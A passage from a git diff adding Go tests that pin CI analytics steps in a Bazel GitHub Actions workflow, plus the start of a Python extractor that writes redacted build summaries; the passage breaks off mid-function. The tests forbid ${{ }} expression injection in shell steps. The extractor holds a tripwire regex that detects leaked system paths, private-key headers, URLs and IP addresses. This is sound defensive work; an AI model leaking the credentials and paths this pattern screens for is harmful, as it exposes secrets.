unchanged. +func ciAnalyticsExpandBasenames(run string, basenames []string) map[string]bool { + out := map[string]bool{} + loops := ciAnalyticsForLoopRE.FindAllStringSubmatch(run, -1) + for _, b := range basenames { + expanded := []string{b} + for _, loop := range loops { + token := "$" + loop[1] + if !strings.Contains(b, token) { + continue + } + var next []string + for _, e := range expanded { + for _, v := range strings.Fields(loop[2]) { + next = append(next, strings.ReplaceAll(e, token, v)) + } + } + expanded = next + } + for _, e := range expanded { + out[e] = true + } + } + return out +} + +// TestCIAnalyticsStepsAreSafeAndBounded is beads' version of gascity's pin +// test of the same name (scripts/bazel_multilane_test.go, ci/analytics- +// extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), adapted to beads' +// 8 separately-named lane jobs rather than gascity's single matrix "lane" +// job plus "coverage". The rbe-ci-bep-analytics-design.md "CI analytics +// summary" step (ci_analytics_extract.py) and its upload, in every lane +// job, must stay strictly reporting-only: continue-on-error, a short +// timeout so a parser bug can never make the step (or the job) run long, +// no raw GitHub Actions expression spliced into the shell command (only +// validated $ENV_VARS, never a string this extractor would have to +// re-validate itself), !cancelled() required rather than always() (always() +// also runs after a workflow cancellation, which these reporting-only +// steps should not survive), an exact upload name/path/retention contract, +// and every path the summary step reads must actually be written by a +// bazel flag earlier in the same job. +func TestCIAnalyticsStepsAreSafeAndBounded(t *testing.T) { + workflow := readCIWorkflow(t, "bazel.yml") + + // Every job in bazel.yml is either one of the lane jobs or has a + // recorded reason it is excluded: a new job cannot join bazel.yml + // without a decision about CI analytics. + for name := range workflow.Jobs { + _, lane := ciAnalyticsLaneJobs[name] + _, excluded := ciAnalyticsExcludedJobs[name] + if lane == excluded { + t.Errorf("bazel.yml job %q: lane=%v excluded=%v; add it to exactly one of ciAnalyticsLaneJobs or ciAnalyticsExcludedJobs (with a reason)", name, lane, excluded) + } + } + for name := range ciAnalyticsLaneJobs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("ciAnalyticsLaneJobs lists %s, which bazel.yml does not have", name) + } + } + for name := range ciAnalyticsExcludedJobs { + if _, ok := workflow.Jobs[name]; !ok { + t.Errorf("ciAnalyticsExcludedJobs lists %s, which bazel.yml does not have", name) + } + } + + // --execution_log_compact_file without + // --experimental_build_event_upload_strategy=local in the same command + // writes a compact exec log bazel never uploads anywhere the extractor + // (or anything else) can read it back: require both together, in every + // job's every step, not just the 8 lane jobs. + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.Contains(step.Run, "--execution_log_compact_file") && !strings.Contains(step.Run, "--experimental_build_event_upload_strategy=local") { + t.Errorf("%s job step %q: run has --execution_log_compact_file without --experimental_build_event_upload_strategy=local in the same command", name, step.Name) + } + } + } + + for jobName, wantLane := range ciAnalyticsLaneJobs { + job := workflow.job(t, jobName) + + summaryIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "CI analytics summary" }) + uploadIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "Upload CI analytics summary" }) + if summaryIdx < 0 || uploadIdx < 0 { + t.Fatalf("%s job: missing CI analytics summary/upload steps", jobName) + } + if uploadIdx != summaryIdx+1 { + t.Errorf("%s job: Upload CI analytics summary is step %d, want %d (immediately after CI analytics summary)", jobName, uploadIdx, summaryIdx+1) + } + summary := job.Steps[summaryIdx] + upload := job.Steps[uploadIdx] + + if !ciAnalyticsContinueOnError(summary.ContinueOnError) { + t.Errorf("%s job %q: continue-on-error %v, want true", jobName, summary.Name, summary.ContinueOnError) + } + if summary.TimeoutMinutes <= 0 || summary.TimeoutMinutes > ciAnalyticsSummaryMaxTimeout { + t.Errorf("%s job %q: timeout-minutes %d, want 1-%d", jobName, summary.Name, summary.TimeoutMinutes, ciAnalyticsSummaryMaxTimeout) + } + if ciAnalyticsRunTemplateRE.MatchString(summary.Run) { + t.Errorf("%s job %q: run: contains a ${{ }} expression; use env: and a shell variable instead:\n%s", jobName, summary.Name, summary.Run) + } + //nolint:misspell // GitHub Actions spells it cancelled() + if !strings.Contains(summary.If, "!cancelled()") { + t.Errorf("%s job %q: if %q does not require !cancelled(); always() also runs after a workflow cancellation", jobName, summary.Name, summary.If) + } + if got := summary.Env["LANE"]; got != wantLane { + t.Errorf("%s job CI analytics summary: LANE %q, want %q", jobName, got, wantLane) + } + if got := summary.Env["MODE"]; got != ciAnalyticsMode { + t.Errorf("%s job CI analytics summary: MODE %q, want %q", jobName, got, ciAnalyticsMode) + } + if got := summary.Env["CHECK_RUN_ID"]; got != ciAnalyticsCheckRunID { + t.Errorf("%s job CI analytics summary: CHECK_RUN_ID %q, want %q", jobName, got, ciAnalyticsCheckRunID) + } + if got := summary.Env["PR_HINT"]; got != ciAnalyticsPRHint { + t.Errorf("%s job CI analytics summary: PR_HINT %q, want %q", jobName, got, ciAnalyticsPRHint) + } + + if !ciAnalyticsContinueOnError(upload.ContinueOnError) { + t.Errorf("%s job %q: continue-on-error %v, want true", jobName, upload.Name, upload.ContinueOnError) + } + if upload.TimeoutMinutes != ciAnalyticsUploadTimeoutMinutes { + t.Errorf("%s job %q: timeout-minutes %d, want %d", jobName, upload.Name, upload.TimeoutMinutes, ciAnalyticsUploadTimeoutMinutes) + } + //nolint:misspell // GitHub Actions spells it cancelled() + if !strings.Contains(upload.If, "!cancelled()") { + t.Errorf("%s job %q: if %q does not require !cancelled()", jobName, upload.Name, upload.If) + } + wantUploadName := "ci-analytics-" + wantLane + "-${{ github.run_attempt }}" + if upload.With["name"] != wantUploadName { + t.Errorf("%s job %q: upload name %q, want %q", jobName, upload.Name, upload.With["name"], wantUploadName) + } + if upload.With["path"] != ciAnalyticsUploadPath { + t.Errorf("%s job %q: upload path %q, want %q (the redacted summary, never a raw BEP/exec-log/profile)", jobName, upload.Name, upload.With["path"], ciAnalyticsUploadPath) + } + if upload.With["retention-days"] != ciAnalyticsUploadRetentionDays { + t.Errorf("%s job %q: retention-days %q, want %q", jobName, upload.Name, upload.With["retention-days"], ciAnalyticsUploadRetentionDays) + } + if upload.With["if-no-files-found"] != ciAnalyticsUploadIfNoFilesFound { + t.Errorf("%s job %q: if-no-files-found %q, want %q", jobName, upload.Name, upload.With["if-no-files-found"], ciAnalyticsUploadIfNoFilesFound) + } + if upload.With["overwrite"] != ciAnalyticsUploadOverwrite { + t.Errorf("%s job %q: overwrite %q, want %q", jobName, upload.Name, upload.With["overwrite"], ciAnalyticsUploadOverwrite) + } + + // Every $RUNNER_TEMP file the summary step reads must be written by + // a --build_event_json_file/--execution_log_compact_file/--profile + // flag somewhere earlier in the same job (expanding any shell loop + // variable on both sides, e.g. bazel-pure's per-step bazel-bep- + // $step.json). + readerRaw := ciAnalyticsRunnerTempPathRE.FindAllStringSubmatch(summary.Run, -1) + readerBasenames := make([]string, 0, len(readerRaw)) + for _, m := range readerRaw { + readerBasenames = append(readerBasenames, m[1]) + } + readerSet := ciAnalyticsExpandBasenames(summary.Run, readerBasenames) + + writerSet := map[string]bool{} + for i, step := range job.Steps { + if i == summaryIdx || i == uploadIdx { + continue + } + raw := ciAnalyticsWriterFlagRE.FindAllStringSubmatch(step.Run, -1) + basenames := make([]string, 0, len(raw)) + for _, m := range raw { + basenames = append(basenames, m[1]) + } + for b := range ciAnalyticsExpandBasenames(step.Run, basenames) { + writerSet[b] = true + } + } + + for b := range readerSet { + if !ciAnalyticsFileBasenameRE.MatchString(b) { + continue // not a file reference (e.g. the --out path's directory component) + } + if !writerSet[b] { + t.Errorf("%s job CI analytics summary: reads %q, which no --build_event_json_file/--execution_log_compact_file/--profile flag in this job writes", jobName, b) + } + } + } +} diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 47de8d20f..354db638c 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -199,6 +199,19 @@ func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { "detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything", "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + // bazel.yml's CI analytics summary step (rbe-ci-bep-analytics- + // design.md, S3), one entry per lane job (ciAnalyticsLaneJobs in + // ci_analytics_workflow_test.go) rather than a bare "steps[*]...", + // so this stays scoped to bazel.yml's own PR_HINT and can't + // silently also cover a future PR_HINT read elsewhere. + "bazel-test.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-pure.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-embedded.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-integration.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-doltserver.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-proxied.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-server-storage.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", + "bazel-cmd-dolt.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push", } used := map[string]bool{} var fallbacks []string diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index afacfa1ba..ede9ca629 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2106,6 +2106,45 @@ const ( bazelRBEPrewarmContinueOnErrorPath = ".jobs." + bazelRBEPrewarmJobName + ".continue-on-error" ) +// rbe-ci-bep-analytics-design.md (S3) adds two steps to every lane job +// ("CI analytics summary" and "Upload CI analytics summary"): reporting +// only (the extracted summary feeds a follow-on analysis pipeline, nothing +// in bazel.yml or pr.yml reads its output), so both carry a deliberate +// step-level continue-on-error - the only step-level exception +// TestBazelWorkflowSecretsAndFailureSurface allows, matched below by job, +// step name and content (ciAnalyticsContinueOnErrorPaths) rather than by a +// single fixed path the way rbe-prewarm's job-level one is, since every +// lane job has its own copy of these two steps at a different index. + +// ciAnalyticsContinueOnErrorPaths returns the walkYAML path of every CI +// analytics step's continue-on-error key, so +// TestBazelWorkflowSecretsAndFailureSurface can allow exactly those and +// nothing else. Scoped three ways, not just by step name: the job must be +// one of ciAnalyticsLaneJobs (ci_analytics_workflow_test.go), the summary +// step's run must actually invoke ci_analytics_extract.py, and the upload +// step's artifact name must start with "ci-analytics-" - so a future step +// that happens to share one of these two names, in a job this design never +// touched, can't ride along on the exception unnoticed. +func ciAnalyticsContinueOnErrorPaths(t *testing.T) map[string]bool { + t.Helper() + paths := map[string]bool{} + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if _, ok := ciAnalyticsLaneJobs[name]; !ok { + continue + } + for i, step := range job.Steps { + switch { + case step.Name == "CI analytics summary" && strings.Contains(step.Run, "ci_analytics_extract.py"): + case step.Name == "Upload CI analytics summary" && strings.HasPrefix(step.With["name"], "ci-analytics-"): + default: + continue + } + paths[fmt.Sprintf(".jobs.%s.steps[%d].continue-on-error", name, i)] = true + } + } + return paths +} + // rbe-fork: the lanes' setup-bazel env that asks it for a certificate (modes // fork-ro and fork-rw only), and the mint's status URL the rbe job probes. const ( @@ -4300,7 +4339,7 @@ func TestBazelIntegrationJob(t *testing.T) { } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") // EXCLUDE_TARGETS: TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers. - const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" --profile="$RUNNER_TEMP/bazel-profile.json" --experimental_build_event_upload_strategy=local ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) } @@ -4569,11 +4608,14 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { job, config, logs string wantSteps int }{ - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 8}, + // +2 over the earlier counts: the CI analytics summary/upload steps + // (S3; see bazel-test's "CI analytics summary" comment), added to + // every lane job ahead of the result recorder. + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 10}, // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- // latency-study.md recommendation 4), since this is the tier whose // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 9}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 11}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { @@ -4581,7 +4623,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } assertBazelTierStep(t, job, c.job, c.config) if n := len(job.Steps); n != c.wantSteps { - t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, result recorder)", c.job, n, c.wantSteps) + t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -4621,6 +4663,9 @@ start=$(date +%s) rc=0 bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"` @@ -5092,6 +5137,7 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { t.Errorf("%s job %s has %d setup-bazel steps, want 1", bazelWorkflowName, name, n) } } + ciAnalyticsPaths := ciAnalyticsContinueOnErrorPaths(t) secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { if key && value == "continue-on-error" { @@ -5101,9 +5147,13 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { // job's failure would still fail bazel.yml's own run and // cascade into pr.yml's ci-gate. So is each flag-gated lane's // (bazelFlagGatedLanes): advisory until its pr.yml flag is - // "true", and required then through its own gate id. + // "true", and required then through its own gate id. So are the + // two CI analytics steps in every lane job + // (bazelCIAnalyticsStepNames): reporting only, never a `needs` + // of anything and never read back by this workflow or its + // callers. _, flagGated := bazelFlagGatedLanes[strings.TrimSuffix(strings.TrimPrefix(path, ".jobs."), ".continue-on-error")] - if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated { + if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated && !ciAnalyticsPaths[path] { t.Errorf("%s: %s hides failures from pr.yml's ci-gate", bazelWorkflowName, path) } } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index d6b5ce0d8..5212bccf8 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -107,6 +107,8 @@ rc=0 bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" echo >> "$GITHUB_STEP_SUMMARY" @@ -114,17 +116,28 @@ exit "$rc"`, }, bazelPureJobName: { "Start every pure-Go artifact (gozstd contamination check)": `set -euo pipefail +# Not instrumented: no BEP/exec-log/profile is captured for this +# one-off smoke invocation (design's bazel-pure invocation list +# names build-wasm, build-pure, test-pure and test-bd only). bazel run --config=pure //cmd/bd:bd -- version bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ '--test_arg=-test.run=^$' \ - --test_env=BEADS_TEST_SKIP=dolt`, + --test_env=BEADS_TEST_SKIP=dolt \ + --profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \ + --experimental_build_event_upload_strategy=local`, "Run pure-Go cmd/bd test subset (--config=pure)": `set -euo pipefail bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ - "--test_arg=-test.run=$PURE_CMD_BD_TESTS" + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" \ + --profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \ + --experimental_build_event_upload_strategy=local n="$(grep -c ' 0 ))`, @@ -133,7 +146,12 @@ echo "pure cmd/bd subset: $n test cases" "bazel test //... --config=doltserver": `set -o pipefail start=$(date +%s) rc=0 -bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --experimental_build_event_upload_strategy=local \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"`, }, diff --git a/tools/bazel/ci_analytics_extract.py b/tools/bazel/ci_analytics_extract.py new file mode 100644 index 000000000..7f5d9bc3d --- /dev/null +++ b/tools/bazel/ci_analytics_extract.py @@ -0,0 +1,1276 @@ +#!/usr/bin/env python3 +"""Build a redacted `ci-analytics-summary` v1 JSON from a lane's Bazel outputs. + +Design: rbe-ci-bep-analytics-design.md, section 3. This file is a byte copy +across gascity and beads (tools/bazel/ci_analytics_extract.py in both): +stdlib Python 3.12+, like critpath.py. + +Inputs, per `--invocation STEP BEP [EXEC_LOG|-] [PROFILE|-]` (repeatable, at +most 8): + + - BEP JSON (`--build_event_json_file`): required. Timing, runner counts, + test results and summaries, network bytes. + - the compact execution log (`--execution_log_compact_file`, zstd-framed + protobuf): per-spawn mnemonic, runner, cache hit, target, SpawnMetrics. + "-" skips it (no per-mnemonic or per-cold data for that invocation). + - the JSON profile (`--profile`): "Fetching repository" wall time per + external repository. "-" skips it. + +Redaction is by construction (never read, by omission), by validation (every +emitted string is regex-checked against a whitelist and against the tripwire +individually, so one hostile value is dropped rather than losing the whole +document), and by a final tripwire regex over the serialized output as a +backstop. See REDACTION in this file's comments at each site, and the +design's section 3.4. + +Every line of BEP or exec log input is adversarial-input tolerant: a +malformed middle BEP line still drops the invocation (unchanged contract), +but a malformed individual event, protobuf entry or field degrades -- +skipping just that event/entry/field -- rather than crashing the process. +See ParseTimeout and the try/except boundaries around the exec-log and BEP +passes in build_invocation(). + +Exit codes: 0 written | 3 no BEP for any invocation (nothing written) | +4 tripwire (nothing written). + +Per-invocation `exec_log`/`profile` status values, for the S4 collector: + - "ok": present, readable, and parsed (possibly with individually + dropped/degraded entries -- that alone does not change this status). + - "missing": "-" was passed for that input; it was never read. + - "unreadable": the path couldn't be opened (missing file, permissions). + - "corrupt": opened, but the content was unparseable as a whole, or (for + the profile) a non-finite ts/dur value was seen and dropped. + - "timeout": PARSE_DEADLINE_S was exceeded partway through parsing; any + entries already parsed are kept. + - "too_large": the input exceeded MAX_EXEC_LOG_BYTES after decompression. +""" + +from __future__ import annotations + +import argparse +import base64 +import json +import math +import os +import re +import shutil +import subprocess +import sys +import time + +FORMAT = "ci-analytics-summary" +SCHEMA_VERSION = 1 +EXTRACTOR_VERSION = "1.0.0" + +MAX_INVOCATIONS = 8 +MAX_MNEMONICS = 200 +MAX_COLD = 100 +MAX_REPOS = 10 +MAX_TEST_LABELS = 5000 +MAX_TEST_RESULTS = 20000 # total across all labels, not per label +MAX_LABEL_LEN = 512 +MAX_EXEC_LOG_BYTES = 512 * 1024 * 1024 +PARSE_DEADLINE_S = 60.0 +DECOMPRESS_CHUNK = 65536 + +# How often (in entries/lines) the deadline is re-checked in the hot loops. +# Checking time.monotonic() on every iteration would be needlessly slow; +# checking too rarely defeats the point of a deadline. +DEADLINE_CHECK_EVERY = 2000 + +ZSTD_MAGIC = b"\x28\xb5\x2f\xfd" + +# REDACTION: every string this extractor emits is validated against one of +# these, or dropped. No raw path, hostname, URI or free-text field is ever +# written verbatim; the only free text read at all is the two buildToolLogs +# lines named below, and only through these patterns. +LABEL_RE = re.compile( + r"(?:@@?[A-Za-z0-9_.~+-]{0,100})?//(?:[A-Za-z0-9_.+=,@~-]+(?:/[A-Za-z0-9_.+=,@~-]+)*)?" + r":(?!/)[A-Za-z0-9_.+=,@~/-]{1,200}" +) +MNEMONIC_RE = re.compile(r"[A-Za-z][A-Za-z0-9_]{0,63}") +REPO_RE = re.compile(r"@@?[A-Za-z0-9_.~+-]{1,200}") +ENUM_RE = re.compile(r"[A-Z_]{1,40}") +# started.command: a Bazel subcommand name ("test", "build", "coverage", ...). +COMMAND_RE = re.compile(r"[a-z][a-z-]{0,31}") +# started.buildToolVersion: a release ("9.2.0") or a dev build string. +VERSION_RE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.+-]{0,63}") +# --invocation STEP, --lane, and matrix.lane values (bazel.yml): short, +# shell- and filename-safe identifiers, never free text. +LANE_RE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.-]{0,63}") +# started.uuid / the BEP's own invocation id: a canonical (lowercase-or-not) +# UUID, nothing else. +UUID_RE = re.compile( + r"[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}" +) +# --mode: the rbe job's decide-mode output (design section 2). Checked as an +# exact set, not a regex. +MODE_CHOICES = frozenset({"remote", "fork-ro", "fork-rw", "cache", "local"}) + +# REDACTION: the tripwire. If this matches the serialized output, the +# extractor writes nothing and exits 4. It is also checked per-string at +# validation time (REDACTION below, in _validate()), so a single hostile +# label or mnemonic is dropped rather than taking down the whole document; +# this document-level check is the backstop for anything that still slips +# through, e.g. a free-text buildToolLogs line. The collector (design +# section 4.3) runs the same regex over the raw artifact text. +TRIPWIRE_RE = re.compile( + r"(?i)(://|/home/|/tmp/|/root/|/runner/|/etc/|-----BEGIN|\.ops\.gascity\.com|" + r"\b(?:\d{1,3}\.){3}\d{1,3}\b)" +) + +CRITICAL_PATH_RE = re.compile( + r"Critical Path: ([0-9.]+)s, Remote \(([0-9.]+)% of the time\): \[(.*)\]" +) +# Each bracketed component ("parse: 0.00%", "queue: 0.00%", ...); matched +# generically and then filtered to the keys this schema keeps. +CRITICAL_PATH_PCT_RE = re.compile(r"([A-Za-z]+): ([0-9.]+)%") +# The per-test critical-path line; the shard clause is optional so unsharded +# tests ("action 'Testing //pkg:t'", no "(shard N of M)") match too. +CRITICAL_PATH_TEST_RE = re.compile( + r"\s+([0-9.]+)s action 'Testing (//[^ ']+)(?: \(shard ([0-9]+) of ([0-9]+)\))?'" +) +DURATION_RE = re.compile(r"(-?[0-9]+(?:\.[0-9]+)?)s") + +# SpawnMetrics Durations (spawn.proto @ 9.2.0). Field 11 (input_bytes) is a +# varint, handled separately. +SPAWN_METRIC = { + 1: "total_ms", + 3: "network_ms", + 4: "fetch_ms", + 5: "queue_ms", + 6: "setup_ms", + 7: "upload_ms", + 8: "exec_ms", + 9: "outputs_ms", +} + +# Runner classes (design section 3.3). The raw runner name is never emitted. +_RUNNER_EXACT = { + "remote cache hit": "remote_cache_hit", + "disk cache hit": "disk_cache_hit", + "remote": "remote", +} +_RUNNER_LOCAL = { + "linux-sandbox", + "processwrapper-sandbox", + "darwin-sandbox", + "local", + "worker", + "standalone", + "sandboxed", + "windows-sandbox", + "docker", + "dynamic", +} + + +def runner_class(name: str) -> str: + if name in _RUNNER_EXACT: + return _RUNNER_EXACT[name] + if name in _RUNNER_LOCAL: + return "local" + return "other" + + +class Tripwire(Exception): + """Raised when the tripwire regex matches; caught at top level.""" + + +class ParseTimeout(Exception): + """Raised by read_bep()/spawns() when PARSE_DEADLINE_S is exceeded.""" + + +def _reject_constant(constant): # json.loads(parse_constant=...) + raise ValueError("non-finite JSON constant %r" % (constant,)) + + +def as_int(value, default=0): + """Decodes a proto3-JSON integer: Bazel writes int64 as a string and + int32 as a number; both decode here. Guards against OverflowError from + a huge/infinite float (e.g. a crafted 1e400 literal, or float('inf')).""" + if value is None: + return default + if isinstance(value, bool): + return int(value) + if isinstance(value, int): + return value + if isinstance(value, float): + try: + return int(value) + except (OverflowError, ValueError): + return default + if isinstance(value, str): + try: + return int(value) + except (ValueError, OverflowError): + return default + return default + + +def as_duration_ms(value): + """Decodes a proto3 Duration JSON string ("3.140856289s") to int ms.""" + if not isinstance(value, str): + return None + m = DURATION_RE.fullmatch(value) + if not m: + return None + try: + return round(float(m.group(1)) * 1000) + except (ValueError, OverflowError): + return None + + +def _safe_float(s, default=0.0): + try: + return float(s) + except (ValueError, OverflowError, TypeError): + return default + + +def _clamp_pct(value): + """Clamps a critical-path percentage to a finite [0, 100]. The regex + that extracts these values only ever captures digits and a single dot, + so float() on it can't itself produce inf/nan -- but this is cheap + insurance against a future, looser regex or a _safe_float() call site + that doesn't exist yet, and it's what keeps every *_pct value safe to + pass straight to json.dumps(..., allow_nan=False).""" + if not math.isfinite(value): + return 0.0 + return max(0.0, min(100.0, value)) + + +def _validate(s, pattern, max_len=None): + """REDACTION: the shared validator every valid_*() below calls. Checks + type, an optional length cap, the whitelist pattern (fullmatch: a + pattern ending in a bare `$` can still be satisfied by a string with a + trailing "\\n" under .match(), since `$` matches just before a trailing + newline -- fullmatch closes that gap), and the tripwire, individually. + A value that fails any of these is dropped (returns None); the caller + simply omits that one field/row rather than the whole document.""" + if not isinstance(s, str): + return None + if max_len is not None and len(s) > max_len: + return None + if not pattern.fullmatch(s): + return None + if TRIPWIRE_RE.search(s): + return None + return s + + +def valid_label(s): + return _validate(s, LABEL_RE, MAX_LABEL_LEN) + + +def valid_mnemonic(s): + return _validate(s, MNEMONIC_RE) + + +def valid_repo(s): + return _validate(s, REPO_RE) + + +def valid_enum(s): + return _validate(s, ENUM_RE) + + +def valid_command(s): + return _validate(s, COMMAND_RE) + + +def valid_version(s): + return _validate(s, VERSION_RE) + + +def valid_lane(s): + return _validate(s, LANE_RE) + + +def valid_uuid(s): + return _validate(s, UUID_RE) + + +# --- exec log: field-number protobuf decoding (spawn.proto @ 9.2.0) --- +# +# REDACTION: Spawn fields 7 target, 8 mnemonic, 9 exit code, 11 runner, 12 +# cache hit and 18 metrics are decoded; Invocation.id (field 4) is read only +# for the cross-check. Fields 1 (args), 2 (env_vars) and 3 (platform) are +# skipped by length, never decoded: this is the only place the exec log's +# argv and environment values could leak, and this code never looks at them. +# +# Every function here assumes nothing about its input's shape beyond what +# the length-prefixed wire format itself guarantees; a value that isn't the +# type a field is supposed to have (e.g. a string field re-encoded as a +# varint by a hostile or corrupt producer) is skipped, not force-cast. What +# this layer can't degrade from on its own (a truncated varint, an +# unsupported wire type, an absurd nesting) is left to raise; the caller +# (build_mnemonics_and_cold, from build_invocation) wraps the whole pass in +# try/except and degrades the invocation's exec_log status to "corrupt" or +# "timeout" instead of crashing the process. + + +def varint(b, p): + s = r = 0 + n = 